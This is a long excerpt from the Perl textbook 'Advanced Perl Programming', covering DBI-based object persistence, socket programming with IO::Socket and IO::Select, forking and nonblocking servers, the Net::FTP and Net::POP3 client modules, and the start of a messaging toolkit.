Clearly, we can do much better than this implementation. If we create 1000 objects, the preceding code creates and evaluates 1000 fresh SQL insert statements. A better approach is to prepare insert/delete/update/fetch statements for each class the first time an object of that class is encountered, like this:

$insert{'Employee'} = $dbh->prepare (
                        "insert into Employee (_id, name, age)
                                       values (?  , ?   , ?  )");
$delete{'Employee'} = $dbh->prepare (
                        "delete from Employee where _id = ?";
$update{'Employee'} = $dbh->prepare (
                        "update Employee (name=?, age=?");
$fetch {'Employee'} = $dbh->prepare (
                        "select name, age, from Employee
                                     where _id = ?");

store can simply execute these statements with the appropriate statements. An even faster way is to take advantage of stored procedures. As it stands, the current implementation works reasonably well for prototypes.

Incidentally, Adaptor::DBI's flush() method does not do anything, because store() doesn't keep any object in memory.

11.3.2.2 Queries

retrieve_where creates a select query from the mapping information for that class. As was pointed out earlier, the same query executed twice will get you two different sets of objects, whose data are duplicates of the other:

sub retrieve_where {
    my ($this, $class, $query) = @_;
    my $where;
    $where = ($query =~ /\S/)
                   ? "where $query"
                   : "";
    my $rh_class_info = $map_info{$class};
    my $table = $rh_class_info->{"table"};
    croak "No mapping defined for package $class"
          unless defined($table);
    my $rl_attr_names = $rh_class_info->{"attributes"};
    my $rl_col_names  = $rh_class_info->{"columns"};
    my $sql_cmd      = "select "
                       . join(",", @{$rl_col_names})
                       . " from $table $where";
    print $sql_cmd if $debugging;
    my $rl_rows      = $this->{d}->do($sql_cmd);
    my @retval;
    my $size = @$rl_attr_names - 1;

    if ($rl_rows && @$rl_rows) {
        my $i; my $rl_row;
        foreach $rl_row (@$rl_rows) {
            my $obj = $class->new;
            $obj->set_attributes(map {
                                  $rl_attr_names->[$_] => $rl_row->[$_]
                                 }(0 .. $size));
            push (@retval, $obj);
        }
    }
    @retval;
}

The preceding set_attributes statement perhaps requires some explanation. The objective of this statement is to set all the attributes returned by the database. Since set_attributes requires a list of name-value pairs, we use the map built-in function to return a list. This function takes two parameters - a block of code and a list - and, for each element of the list, evaluates the block in a list context. The function returns a list containing the result executing that block across all iterations.

At this point, if your enthusiasm continues unabated, you may find it worthwhile to go back and understand how Adaptor handles the issues raised in the "Design Notes" section.

Previous: 11.2 Design Notes | Advanced Perl Programming | Next: 11.4 Resources
11.2 Design Notes | Book Index | 11.4 Resources


[Chapter 11] 11.4 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

11.4 Resources

The following books and web sites have good treatments of object persistence:

  1. Object-Oriented Modeling and Design. James Rumbaugh, Michael Blaha, William Premerlani, Frederick Eddy, and William Lorensen. Prentice-Hall, 1991.

    An excellent treatment of implementing OO models in relational databases.

  2. Object Persistence. Roger Sessions. Prentice Hall, 1996.

    A discussion of the CORBA Persistence architecture. Interesting as much for the discussion of politics behind such committees, as the technical material.

  3. CORBA Persistence Service Specification, Object Management Group (OMG), at http://www.omg.org.

  4. PJava: Orthogonal Persistence for Java, at http://www.dcs.gla.ac.uk/pjava/. Look especially for the design paper entitled "Design Issues for Persistent Java: a Type-Safe, Object-Oriented, Orthogonally Persistent System."

  5. Object Database Management Group (ODMG): http://www.odmg.org.

  6. Taming C++: Pattern Classes and Persistence for Large Projects. Jiri Soukup. Addison-Wesley, 1994.

  7. "Equal Rights for Functional Objects, or, The More Things Change, The More They Are the Same." Henry Baker.

    This paper shows you that there's much more to object identity than meets the eye. Download from ftp://ftp.netcom.com/pub/hb/hbaker/ObjectIdentity.html.

Previous: 11.3 Implementation | Advanced Perl Programming | Next: 12. Networking with Sockets
11.3 Implementation | Book Index | 12. Networking with Sockets


[Chapter 12] Networking with Sockets

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 11.4 Resources Chapter 12 Next: 12.2 Socket API and IO::Socket

12. Networking with Sockets

Contents:
Networking Primer
Socket API and IO::Socket
Handling Multiple Clients
Real-World Servers
IO Objects and Filehandles
Prebuilt Client Modules
Resources

I plugged my phone in where the blender used to be. I called someone. They went "Aaaaahhh..."

- Steven Wright

Programs can communicate with each other in a variety of ways. They can use files, anonymous/named pipes, System V interprocess messaging primitives, BSD sockets, and TLI (Transport Layer Interface). Socket and TLI communications come under the purview of "networking," a step up from the other IPC (interprocess communication) mechanisms, because they don't constrain the communicating processes to be on the same machine. This chapter provides a primer on socket communications and builds simple client/server configurations using Graham Barr's IO library (part of the standard Perl distribution). This knowledge is put to use in the next chapter, where we build an asynchronous message passing module, and another for doing remote procedure calls (RPC).

Networking is the second of four important technologies that we discuss in this book; the others are user interfaces, persistence, and code generation. This chapter, like the other three, is as much about the technology as it is about Perl's support for it. Andrew Tanenbaum's textbook on computer networks [5] is a wonderful introduction to computer networking. (I also rate it as one of the best computer books ever written.) This chapter provides just enough introduction to networks to work with Perl, sockets, and TCP/IP.

12.1 Networking Primer

Mail (paper and electronic) and telephones are two distinct forms of communication. A telephone conversation is connection-oriented, because the caller and the called "own" the line (have a continuous link) until the end of the conversation. Connection-oriented communication guarantees message delivery, preserves the order in which messages are sent, and allows a stream of data to be sent. Mail, in contrast, is a connectionless mode of transfer, which transports information in packets (or datagrams) and gives no guarantees about message delivery and the order in which the packets are received. It has a higher overhead because each packet identifies its sender and the intended receiver; in contrast, a connection-oriented conversation proceeds without further ado, once the parties have identified themselves. Computer networks offer you a similar choice of connection versus connectionless mode of data transfer. It must be mentioned that there are connectionless protocols such as reliable UDP that do offer guaranteed delivery and sequence integrity.

The networking world assigns each computer an internet address, also called an IP address (short for Internet Protocol), a sequence of four bytes typically written in a dot sequence, like this: 192.23.34.1. (This will change with IPv6, because the world is fast running out of four-byte IP addresses.) Just as you have convenient phone aliases such as 1-800-FLOWERS, computers are often given unique aliases, such as www.yahoo.com. Now, many programs can run on one machine, and it is not enough to deliver a message to the machine: it has to be handed over to the appropriate application program running on that machine. A program can ask for one or more ports to be opened, the equivalent of a private mailbox or telephone extension. To send a message to a program, you need its full address: its machine name and the port on which it is listening. Standard applications such as ftp, telnet, and mail actually come in pairs; for example, the ftp program you use talks to a counterpart server program called ftpd (ftp daemon) on the remote computer. Such server programs listen on standard port numbers; when you type www.yahoo.com on your web browser, the browser automatically connects to port 80 on that machine, where it assumes the corresponding web server to be listening. Port numbers 1-1024 are reserved for standard, well-known Internet applications. Many platforms reserve the name "localhost" (and the address 127.0.0.1) to mean the machine on which the program is running.

Once assigned a socket, your program has a choice of using a connection-oriented protocol called TCP/IP (Transport Control Protocol/IP) or a connectionless one, UDP/IP (User Datagram Protocol). Clearly, sender and receiver must use the same protocol. The TCP/IP model is usually preferred over UDP because it provides for data sequencing, end-to-end reliability (checksums, positive acknowledgments, time-outs), and end-to-end flow control (if the sender is sending data faster than the receiver can handle it, it will block the sender when the receiver's buffers are full). If the communications medium is very good, such as a LAN, UDP may perform much better because it doesn't spend time accounting for the worst case. In a production system, however, you can never really take a chance, so we will stick to TCP in this chapter.

The socket abstraction and API were introduced in BSD 4.2 to provide a uniform interface over different types of protocols (there are others besides TCP and UDP), and, depending on the protocol used, a socket behaves like either a telephone receiver or a mailbox. In either case, it takes one socket on each side to make a conversation (which is why sockets are also known as communications end-points). The socket API allows you to specify the domain of the communicating entities - the "Unix domain" is used for processes on the same machine, and the "Internet domain" is used for processes on different machines. This chapter examines the more generally accepted (and useful) "Internet domain" option.

TLI (Transport Layer Interface), another API introduced in System V (Release 3.0, 1986), provides a very similar-looking alternative to the socket abstraction, but because it is not as widely used as the BSD socket interface, we will not discuss it in this chapter.

Previous: 11.4 Resources | Advanced Perl Programming | Next: 12.2 Socket API and IO::Socket
11.4 Resources | Book Index | 12.2 Socket API and IO::Socket


[Chapter 12] 12.2 Socket API and IO::Socket

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

12.2 Socket API and IO::Socket

Perl provides native support for sockets and a module called Socket to smooth some of the rough edges associated with the native socket call. It turns out that there are still a large number of options to deal with, and since most applications use a fairly standard set of options, we instead use a truly convenient module called IO::Socket, which is built on Socket.

This section uses this module to build a sending and receiving program.

12.2.1 Receiver

Just as you would ask the phone company for a telephone number and a physical handset, both sender and receiver ask the module to create sockets. Sockets, like telephones, are bidirectional endpoints: once a connection is established, either side can send and receive data, as long as there is an understanding between the two programs about the direction of communication.

Because only the receiving side needs to have a well-known address, we create a receiving socket as follows:

use IO::Socket;
$sock = new IO::Socket::INET (LocalHost => 'goldengate',
                              LocalPort => 1200,
                              Proto     => 'tcp',
                              Listen    => 5,
                              Reuse     => 1,
                             );
die "Could not connect: $!" unless $sock;

The IO::Socket::INET module provides a nice wrapper for Internet domain sockets. The LocalHost and LocalPort parameters specify the host and port on which this socket is going to listen. The number 1200 is chosen arbitrarily, but you must make sure that it doesn't conflict with the port number used by some other application on that machine (otherwise, you get an error saying, "Address already in use"). We set the Reuse option, because if this program ends without properly closing the socket and is subsequently restarted, it will complain about the socket being in use. The Listen option specifies the maximum number of callers that can be put on hold while they are dialing this number, figuratively speaking.

Once created, the socket is all set to receive incoming calls. The accept() method listens on the given port until another program attempts to connect to it (we'll shortly see the calling side to see how this is done); at this point, accept returns a new socket:

$new_sock = $sock->accept();

This is analogous to a switchboard operator indicating a different handset for you to converse on, while he goes back to waiting for the main number to ring. Messages sent by the client can now be obtained by reading from $new_sock. You can use this socket as a filehandle and call any of the input operators, <> , read, or sysread, like this:

$buf = <$new_sock>;
# or,
$bytes_read = sysread ($new_sock, $buf, $num_bytes_to_read);

Both return undef on an end of file condition.

The following code summarizes the above discussion. It binds a socket to an address and waits for an incoming connection request. When that happens, it reads the new socket created until the other end closes its end of the connection. At this point, the <> operator returns undef (sysread returns 0, the number of bytes read).

use IO::Socket;
$sock = new IO::Socket::INET (LocalHost => 'goldengate',
                              LocalPort => 1200,
                              Proto     => 'tcp',
                              Listen    => 5,
                               Reuse     => 1
                             );
die "Socket could not be created. Reason: $!" unless $sock;
while ($new_sock = $sock->accept()) {
    while (defined ($buf = <$new_sock>)) {
       print $buf;
    }
}
close ($sock);

You can also use $new_sock->get_line() instead of <$new_sock>.

12.2.2 Sender

The calling side is even simpler. It creates a socket giving it the receiver's address and, if successful, starts sending data to it:

use IO::Socket;
$sock = new IO::Socket::INET (PeerAddr => 'goldengate',
                              PeerPort => 1200,
                              Proto    => 'tcp',
                             );
die "Socket could not be created. Reason: $!\n" unless $sock;
foreach (1 .. 10) {
    print $sock "Msg $_: How are you?\n";
}
close ($sock);

Notice how the parameters to the IO::Socket::INET::new method define whether it is a server- or client-side socket. The Listen and Reuse parameters are ignored for sending ports.

12.2.3 Bidirectional Communications

You can read and write from sockets, but as the preceding scripts show, two communicating processes must have a common understanding of who is doing the talking and who the listening. The programs can deadlock if both are too polite and start reading their respective sockets (sysread and other input operators wait until they are able to read the requisite amount of data). They can also deadlock if both are too impolite and start speaking into the phone at the same time, figuratively speaking (syswrite blocks once the buffers fill up, and because the other end is not listening, deadlock is a likely possibility). In a typical client/server setup, this protocol is well established. The client program initiates the conversation, makes a request, and waits for an answer. The typical server never attempts to connect to a client program or initiate requests; it listens and responds. Deadlocks thus happen only in peer-peer conversations.

Previous: 12.1 Networking Primer | Advanced Perl Programming | Next: 12.3 Handling Multiple Clients
12.1 Networking Primer | Book Index | 12.3 Handling Multiple Clients


[Chapter 12] 12.3 Handling Multiple Clients

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

12.3 Handling Multiple Clients

The fact that accept, read, and sysread are blocking calls has more implications for the server.[1] A single-threaded process can invoke only one of these calls at a time, which is fine if there aren't too many clients clamoring for the server's attention and if no client ties the server up for too long a time. The real world is ugly, and you have to resolve this issue. There are three ways of doing this:

  1. Create multiple threads of control (processes or threads) and have each call block in its own thread.

  2. Make these calls only when you are absolutely sure they won't block. We'll call this the "select" approach, because we use the select call to ensure that a socket has something to offer.

  3. Make these calls nonblocking using fcntl or ioctl.

[1] accept blocks until someone tries to connect.

As we shall see, option 2 should be used in conjunction with option 3 in production systems. In all cases, the client code remains unaffected while we try out these options.

Incidentally, there is a fourth option. Some systems support an asynchronous I/O notification: a SIGIO signal is sent to the process if a specified socket is ready to do I/O. We will not pay attention to this approach because there is no way for a signal handler to know which socket is ready for reading or writing.

12.3.1 Multiple Threads of Execution

Perl doesn't have threads yet (at least not officially[2]), but on Unix and similarly empowered systems, it supports fork, the way to get process-level parallelism. The server process acts as a full-time receptionist: it blocks on accept, and when a connection request comes in, it spawns a child process and goes back to accept. The newly created child process meanwhile has a copy of its parent's environment and shares all open file descriptors. Hence it is able to read from, and write to, the new socket returned by accept. When the child is done with the conversation, it simply exits. Each process is therefore dedicated to its own task and doesn't interfere with the other. The following code shows an example of a forking server:

[2] Malcolm Beattie has a working prototype of a threaded Perl interpreter, which will be incorporated into the mainstream in the Perl 5.005 release.

# Forking server
use IO::Socket;
$SIG{CHLD} = sub {wait ()};
$main_sock = new IO::Socket::INET (LocalHost => 'goldengate',
                                   LocalPort => 1200,
                                   Listen    => 5,
                                   Proto     => 'tcp',
                                   Reuse     => 1,
                                  );
die "Socket could not be created. Reason: $!\n" unless ($sock);
while ($new_sock = $main_sock->accept()) {
    $pid = fork();
    die "Cannot fork: $!" unless defined($pid);
    if ($pid == 0) {
        # Child process
        while (defined ($buf = <$new_sock>)) {
           # do something with $buf ....
           print $new_sock "You said: $buf\n";
        }
        exit(0);   # Child process exits when it is done.
    } # else 'tis the parent process, which goes back to accept()
}
close ($main_sock);

The fork call results in two identical processes - the parent and child - starting from the statement following the fork. The parent gets a positive return value, the process ID ($pid) of the child process. Both processes check this return value and execute their own logic; the main process goes back to accept, and the child process reads a line from the socket and echoes it back to the client.

Incidentally, the CHLD signal has nothing to do with IPC per se. On Unix, when a child process exits (or terminates abnormally), the system gets rid of the memory, files, and other resources associated with it. But it retains a small amount of information (the exit status if the child was able to execute exit(), or a termination status otherwise), just in case the parent uses wait or waitpid to enquire about this status. The terminated child process is also known as a zombie process, and it is always a good thing to remove it using wait; otherwise, the process tables keep filling up with junk. In the preceding code, wait doesn't block, because it is called only when we know for sure that a child process has died - the CHLD signal arranges that for us. Be sure to read the online documentation for quirks associated with signals in general and SIGCHLD in particular.

12.3.2 Multiplexing Using select

The reason we forked off a different process in the preceding section was to avoid blocking during accept, read, or write for fear of missing out on what is happening on the other sockets. We can instead use the select call, introduced in BSD Unix, that returns control when a socket (any filehandle, in fact) can be read from or written to. This approach allows us to use a single-threaded process - somewhat akin to firing the receptionist and handling all the incoming calls and conversations ourselves.

The interface to the native select call is not very pretty, so we use the IO::Select wrapper module instead. Consider

use IO::Socket;
use IO::Select;
$sock1 = new IO::Socket (....);
$sock2 = new IO::Socket (....);
$read_set = new IO::Select;
$read_set->add($sock1);
$write_set = new IO::Select;
$write_set->add($sock1, $sock2);

The IO::Select module's new method creates an object representing a collection of filehandles, and add and remove modify this set. The select method (which calls Perl's native select function) accepts three sets of filehandles, or IO::Select objects, which are monitored for readability, writability, and error conditions, respectively. In the preceding snippet of code, we create two such sets - a filehandle can be added to any or all of these sets if you so wish - and supply them to the select method as follows:

($r_ready, $w_ready, $error) =
      IO::Select->select($read_set, $write_set, $error_set, $timeout);

select blocks until an interesting event occurs (one or more filehandles are ready for reading, writing, or reporting an error condition) or the time-out interval has elapsed. At this point, it creates three separate lists of ready filehandles and returns references to them. The time-out is in seconds but can be expressed as a floating-point number to get millisecond resolution.

Let us use this information to implement a program that retrieves messages from one or more clients:

# Create main socket ($main_socket) as before ...
# ....

use IO::Select;
$readable_handles = new IO::Select();
$readable_handles->add($main_socket);
while (1) {  #Infinite loop
    # select() blocks until a socket is ready to be read or written
    ($new_readable) = IO::Select->select($readable_handles,
                                         undef, undef, 0);
    # If it comes here, there is at least one handle
    # to read from or write to. For the moment, worry only about
    # the read side.
    foreach $sock (@$new_readable) {
        if ($sock == $main_socket) {
            $new_sock = $sock->accept();
            # Add it to the list, and go back to select because the
            # new socket may not be readable yet.
            $readable_handles->add($new_sock);
        } else {
            # It is an ordinary client socket, ready for reading.
            $buf = <$sock>;
            if ($buf) {
                # .... Do stuff with $buf
            } else {
                # Client closed socket. We do the same here, and remove
                # it from the readable_handles list
                $readable_handles->remove($sock);
                close($sock);
            }
        }
    }
}

We create a listening socket, $main_socket, and configure it to listen on a well-known port. We then add this socket to a newly created IO::Select collection object. When select returns the first time, $main_socket has something to read from (or has an error, a possibility that we ignore for the moment); in other words, it has received a connection request and is guaranteed not to block when accept is called. Now, we are not interested in being blocked if the socket returned from accept has nothing to say, so we add it to the list of filehandles being monitored for readability. When select returns the next time, we know that one of the two sockets is ready for reading (or both are ready). If $main_socket is ready, we repeat the exercise above. If not, we have a socket with something to read.

select also returns if one or more remote sockets are closed. The corresponding sockets on the listening end return 0 when any of the I/O operators are used (0 bytes read or written). The server above removes these sockets from the IO::Select collections to prevent from select returning the same defunct sockets every time.

12.3.2.1 Blocking looms again

All we have done in this section is depend on select to tell us that a filehandle is ready for reading or writing before actually attempting to read or write from it. Unfortunately, we still don't know how much data has accumulated in the I/O buffers (for purposes of reading) or how much can be written to it (the other side may be reading slowly, and there's a limit to how much you can pump in from this side). Both sysread and syswrite return the number of bytes actually read or written, so you would have to invoke them in a loop until the entire message is read or written. Once you have drained the buffers (or filled them, as the case may be), there is the very real possibility that it might block the next time you attempt to read or write if the other side doesn't do something quick. One option is to invoke select in every iteration of the loop and proceed only if it confirms the socket's availability. This slows you down when the filehandle can accommodate your read or write requests. Besides, you have to quit the loop anyway when select tells you that a filehandle isn't ready and make the attempt later on when the file descriptor changes state.

For single-threaded programs the next option is to make the filehandle non-blocking. Read on.

12.3.3 Nonblocking Filehandles

Any filehandle can be made nonblocking by using the operating-system-specific fcntl or ioctl call, like this:

use POSIX;
fcntl($sock, F_SETFL(), O_NONBLOCK());

The Fcntl module (file control) makes the constants in the fcntl.h file available as functions. The fcntl function takes a command like F_SETFL ("set flag") and an argument that is specific to that command. Depending on the operating system, the flag to set nonblocking I/O may also be known as O_NDELAY or FNDELAY.

In any case, once this operation is carried out, sysread and syswrite return undef (not 0) and set $! to EAGAIN (or EWOULDBLOCK on BSD 4.3) if they cannot carry out the operation right away. The following code accounts for these return and error values when reading a socket:

# Want to read 1024 bytes
$bytes_to_read = 1024; $msg = '';
while ($bytes_to_read) {
    $bytes_read = sysread($sock, $buf, $bytes_to_read);
    if (defined($bytes_read)) {
        if ($bytes_read == 0) {
            # Remote socket closed connection
            close($sock);
            last;
        } else {
            $msg .= $buf;
            $bytes_to_read -= $bytes_read;
        }
    } else {
        if ($! == EAGAIN()) {
            # Can return to select. Here we choose to
            # spin around waiting for something to read.
        } else {
            last;
        }
    }
}

One simple option is to forget the select call and simply spin around in a polling loop, calling read (or sysread) on each socket (or accept on the main socket) to check whether it has anything to say, or calling write (or syswrite) if we have something to say, without fear that it would block. This approach is a constant drain on the CPU because the process is never idle. You should always strive to build a quiescent [3] server, in client/server parlance.

[3] "Marked by inactivity or repose," as Webster's Tenth Collegiate Dictionary puts it.

You might have noticed that we have ignored clients in all these discussion. If a client is willing to block, there is no issue at all, since, unlike the server side, it is not talking to more than one entity. But if it contains a GUI, it clearly cannot afford to block, and we have much the same problem. We will revisit this issue in Section 14.1, "Introduction to GUIs, Tk, and Perl/Tk". In a system in which there is no clear delineation between "clients" and "servers" - a cluster of bank computers is an example of such a peer-to-peer system - every process is modeled on the more general server framework described in the preceding pages.

You can now see that all three approaches to creating servers have their individual quirks and failings. The next section introduces us to techniques and strategies used in typical production servers.

Previous: 12.2 Socket API and IO::Socket | Advanced Perl Programming | Next: 12.4 Real-World Servers
12.2 Socket API and IO::Socket | Book Index | 12.4 Real-World Servers


[Chapter 12] 12.4 Real-World Servers

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

12.4 Real-World Servers

Single-threaded servers are essentially event-driven - they execute in response to a time-out or an I/O event. They typically don't spend much CPU time for a given request, because they need to get back to select to service other events that might have queued up in the meantime. Most production single-threaded servers also use nonblocking filehandles (combining the second and third options listed in the section "Handling Multiple Clients"). In the next chapter, we will build a small message-passing library using these techniques. The advantage of using single-threading is that frequent short-cycle requests are handled with very little overhead. In addition, data structures can easily be shared between all parallel conversations or cached for future conversations. A chat server, for example, benefits most from such an architecture.

The multiprocess solution is chosen when the server cannot guarantee how long a given request is going to take. Web servers follow this approach and simply spawn a CGI (Common Gateway Interface) program to handle the conversation with the corresponding web browser on the other end. Nowadays, the trend is to handle quick tasks in the web server itself and spawn programs only when the task might hold up the entire server. Of course, the problem is that spawning processes is expensive, so a popular option is to prespawn a fixed number of processes and hand the task to them whenever a request comes in. Clearly, if there are many more sockets than there are prespawned processes, the parent has no option but to use select to multiplex between them. As you can see, the options described in the previous section are by no means independent of each other.

Multithreading is an option if the environment supports it (Perl doesn't yet). Java is enthusiastic about this approach and expects a thread to block on I/O calls; in fact, it doesn't even provide an interface to select. The advantage of this approach is that it is much more lightweight in comparison to the multiprocess version. In addition, you get parallelism and data sharing. The disadvantage is that typical workstations tend to perform badly if you introduce, say, 40 or more kernel level threads, so they can support only a limited number of concurrent clients. Threads on Solaris are better off, because they make a distinction between lightweight, user-level threads and kernel threads. In any case, this is not an option currently available to a Perl programmer, so the discussion is moot.

Previous: 12.3 Handling Multiple Clients | Advanced Perl Programming | Next: 12.5 IO Objects and Filehandles
12.3 Handling Multiple Clients | Book Index | 12.5 IO Objects and Filehandles


[Chapter 12] 12.5 IO Objects and Filehandles

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

12.5 IO Objects and Filehandles

Perl supports the BSD socket call, which returns a filehandle, as open does for files and pipes. This filehandle can be used as an argument for all the built-in input-output operators: <> , read, sysread, print, write, syswrite, and so on. In addition, it can be used by socket-specific functions such as send, recv, and setsockopt.

The IO::Socket module's new method returns an object that can also be used as a parameter to these I/O routines. Internally, it calls socket and uses the typeglob corresponding to the filehandle to store other attributes; we described this hideous-looking trick in Section 8.1, "Efficient Attribute Storage". In other words, its return value is the same object that was given to socket, which is why it does not matter to the I/O operators which option you choose. My recommendation is to go for the considerably easier to use IO::Socket option.

IO::Select is another story, however. If performance is absolutely crucial, you may prefer to do yourself what IO::Select implements:

$r_bitset = $w_bitset = $e_bitset = '';
# Monitor $sock1 for reading
vec($r_bitset, $sock1->fileno(), 1) = 1;
# Monitor $sock2 for writing
vec($w_bitset, $sock2->fileno(), 1) = 1;
# Monitor both for errors
$e_bitset = $r_bitset | $w_bitset;

($nfound, $timeleft) =
    select ($r_bitset, $w_bitset, $e_bitset, $timeout);

The native select function requires three bit vectors representing collections of open files, sockets, or pipes. Each bit in these bit sets corresponds to an integer file descriptor, which in turn is tracked by the appropriate filehandles or IO objects. The fileno() method of IO::Socket, or the built-in function, fileno, can be used to retrieve this number. The rest is simple: we create three bit sets, for checking readability, writability, and error conditions, and use vec to set the appropriate bits in each bit set. Before select returns, it modifies the bit sets to indicate which file descriptors are ready for doing input or output.

Because these bit sets are modified, we have to construct them all over again before going back to select, which gets to be somewhat expensive. Instead, a common technique is to make a copy of these sets before getting them clobbered by select:

# Set up $r_bitset and $w_bitset once
...

while (1) {
    ($nfound, $timeout) = select ($r_copy = $r_bitset,
                                  $w_copy = $w_bitset,
                                  $e_copy = $e_bitset, $timeout);

    # Check $r_copy, $w_copy for readiness ...
}

Note that the assignment happens before select gets control, and select sees only $r_copy, $w_copy, and $e_copy, which it feels free to modify.

The only place where we really save time over using IO::Select is that we don't have to make a list of ready filehandles; we can process the bit set directly. For the applications I have built, this marginal gain in efficiency is not worth it, so I use IO::Select.

Previous: 12.4 Real-World Servers | Advanced Perl Programming | Next: 12.6 Prebuilt Client Modules
12.4 Real-World Servers | Book Index | 12.6 Prebuilt Client Modules


[Chapter 12] 12.6 Prebuilt Client Modules

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

12.6 Prebuilt Client Modules

Applications such as mail clients, FTP, web browsers, telnet, and Usenet news-readers are built to use TCP/IP and sockets. Several libraries available on CPAN give you the client-side libraries to roll your own FTP or mail reader, for example, without having to worry about the application protocol. (Note that there are no libraries to write your own servers to handle these protocols.) In this section, we will take a brief look at a couple of interesting client modules packaged under the Net hierarchy and available as libnet from CPAN. These packages were also written by Graham Barr.

12.6.1 Net::FTP

This module implements the client side of the File Transfer Protocol and is used like this:

use Net::FTP;
$ftp = Net::FTP->new("ftp.digital.com");
die "Could not connect: $!" unless $ftp;
$ftp->login('anonymous', 'me@foo.com');  # Guest User; email as passwd
$ftp->cwd('/pub/plan/perl/CPAN');        # cwd:Change Working Directory
$ftp->get('index');
$ftp->quit();

This module supports all the commands that you can issue from a standard FTP program.

As currently implemented, the get call blocks until the entire file is transmitted, so while it is very useful for a batch application (such as mirroring an FTP site nightly), you cannot use it to write a graphical FTP client.

12.6.2 Net::POP3

This library gives an interface to programmatically access a POP (Post Office Protocol) server, used, for example, on dial-up connections. The POP server stores incoming email until the mail reader comes and "visits the post office." Let us study a small example based on Net::POP3.

The trouble with most PC-based mail readers is that they don't give you a preview of the messages and don't wait for you to decide whether you really want to download any of them. People take the Internet's bandwidth for granted all the time, and you might find yourself helplessly waiting as an email containing the latest photograph of Madonna's baby trickles slowly through your dial-up connection. The Perl-based POP client shown below provides a preview of the messages sitting on the POP server: it simply lists the first three lines of all available messages:

use Net::POP3;
$m = Net::POP3->new('pop.myhost.com'); # Name of POP server
die "Could not open account" unless $m;
$n = $m->login('sriram', 'foofoo');    # Login, passwd
print "Number of msgs received: $n\n";
$r_msgs = $m->list();                  # Returns a ref-to-hash mapping
                                       # msg_id to msg_size
foreach $msg_id (keys %$r_msgs) {
    print "Msg $msg_id (", $r_msgs->{$msg_id}, "):\n";
    print "-----------------\n";
    $rl_msg = $m->top($msg_id, 3);  # Get top three lines from message
    $, = "\n";
    print @$rl_msg;
}
$m->quit();

I use a slightly beefier version of this script to optionally delete messages and then fire up my regular mail reader to download what's left.

Previous: 12.5 IO Objects and Filehandles | Advanced Perl Programming | Next: 12.7 Resources
12.5 IO Objects and Filehandles | Book Index | 12.7 Resources


[Chapter 12] 12.7 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

12.7 Resources

  1. perlipc documentation.

    Covers all available IPC mechanisms, including socket communications.

  2. Computer Networks, 3rd edition. Andrew S. Tanenbaum. Prentice-Hall, 1996.

    The best book on computer networks ever written.

  3. Unix Network Programming. W. Richard Stevens. Prentice-Hall, 1990.

  4. Advanced Programming in the Unix Environment. W. Richard Stevens. Prentice-Hall, 1992.

Previous: 12.6 Prebuilt Client Modules | Advanced Perl Programming | Next: 13. Networking: Implementing RPC
12.6 Prebuilt Client Modules | Book Index | 13. Networking: Implementing RPC


[Chapter 13] Networking: Implementing RPC

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 12.7 Resources Chapter 13 Next: 13.2 Remote Procedure Calls (RPC)

13. Networking: Implementing RPC

Contents:
Msg: Messaging Toolkit
Remote Procedure Calls (RPC)
Resources

I waited and waited and waited, and when no message came, I knew it must have been from you.

- Ashleigh Brilliant

In this chapter, we build on the lessons learned in the preceding chapter and implement two layers on top of sockets. The first is an asynchronous message-passing system, Msg, which takes advantage of nonblocking I/O where available. We then build a remote procedure call module, RPC, on top of the Msg substrate. RPC offers the convenience of synchronous procedure calls and accounts for exceptions, wantarray, parameter marshalling, and so on.

Before we proceed, let us get one basic definition out of the way. In Chapter 12, Networking with Sockets, we glossed over the definition of a "message." A socket connection is simply a stream of bytes and leaves it to the application to define message boundaries, so the receiver can tell when one message ends and another starts. Some protocols insert an end-of-message character, an arbitrarily chosen byte such as ASCII 4 (Ctrl-D), or a lone period on a line, and some prepend message lengths so that the receiver knows how much to expect. We use the latter option in this chapter.

13.1 Msg: Messaging Toolkit

In this section, we implement a module called Msg, an event-driven, client-server, messaging framework,[1] using the IO::Select and IO::Socket modules. These are its key characteristics:

Queued messages

You can instruct Msg to either send a message right away or queue it for later delivery.

Nonblocking I/O

Msg checks to see whether your system supports POSIX and, if so, uses its nonblocking I/O support (as shown in Chapter 12). On systems with nonblocking I/O support but no POSIX compliance, you can inherit from Msg and override two methods to set a filehandle's blocking properties. On systems with no support at all for this facility, a send or a receive will block, but because select is used to determine a good time when messages can be sent out or received, it minimizes the chances that these calls might block (or block for long).

Message boundaries

Msg simply prepends every outgoing buffer with 4 bytes containing the message's length. The receiving side knows to expect at least 4 bytes and subsequently knows how long a message to expect.

Message transparency

Msg doesn't bother to look inside your message; this means that you have to be careful about sending binary messages to some other architecture. One simple solution is to encode all your messages in ASCII (using sprintf or pack). The RPC module, described later in this chapter, uses the FreezeThaw library to obtain a network-transparent encoding.

[1] Talk about being fully buzzword-compliant!

The following code shows a client that uses Msg:

use Msg;
$conn = Msg->connect('localhost', 8080);
die "Error: Could not connect\n" unless $conn;
$conn->send_now("Message $i");
($msg, $err) = $conn->rcv_now();

connect is a static method that creates a connection object (one of its attributes is a socket connection). The send_now method pumps out messages on that connection, and a corresponding method called rcv_now blocks until it receives a message from the other side. We'll look at deferred (or queued) messaging shortly.

The following code shows a server built using Msg:

use Msg;
use strict;
my $host = 'localhost';
my $port = 8080;
Msg->new_server($host, $port, \&login_proc);
print "Server created. Waiting for events";
Msg->event_loop();
#---------------------------------------------------------------
sub login_proc {
    # Unconditionally accept an incoming connection request
    return \&rcvd_msg_from_client;
}

sub rcvd_msg_from_client {
    my ($conn, $msg, $err) = @_;
    if (defined $msg) {
        print "$msg\n";
    }
}

The script calls new_server to create a listening socket (the program's network address) and then calls event_loop, an event dispatcher, which is a thin wrapper over select.

When a client process attempts to connect, Msg creates a local connection object and calls the login procedure supplied by you (to new_server), with the connection object as an argument. In the login procedure, you can query the remote host and port if you want and refuse a connection request by returning undef. To accept the connection, you return the reference to a subroutine (rcvd_msg_from_client in this example), which will be called on every subsequent message received on that connection. Different connections can have different receiving procedures if you so wish.

This is how you send or receive messages in a deferred fashion:

$conn = Msg->connect($remote_host, $remote_port, \&msg_from_server);
$conn->send_later($msg);
